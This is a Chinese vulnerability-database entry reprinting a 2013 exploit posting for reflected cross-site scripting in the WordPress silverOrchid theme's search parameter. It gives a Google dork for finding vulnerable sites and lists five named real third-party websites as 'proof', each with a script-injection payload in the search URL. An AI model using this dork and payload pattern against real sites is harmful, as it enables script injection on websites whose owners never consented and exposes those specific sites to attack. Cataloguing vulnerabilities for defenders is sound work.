WordPress silverOrchid Cross Site Scripting

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044528 漏洞类型
发布时间 2013-08-29 更新时间 2013-08-29
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013080218
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#********************************************************************************
# Exploit Title : wordpress silverOrchid theme Cross site scripting
#
# Exploit Author : Ashiyane Digital Security Team
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"Powered by WordPress and theme by gazpo.com"
#
# Date: 2013/08/27
#
--------------------------------------------------------------------
# Location : [Target]/?s=[xss]
#
# Proof:
#
# http://www.alessandropenezzi.com/wp/?s=<script>alert(1);</script>
#
# http://www.bazaardeals.in/?s=<script>alert(1);</script>
#
# http://www.novelthoughtsblog.com/?s=<script>alert(1);</script>
#
# http://perawatan-kulit.com/?s=<script>alert(1);</script>
#
# http://www.walkingandhikingireland.com/?s=<script>alert(1);</script>
#
######################
discovered by : ACC3SS
######################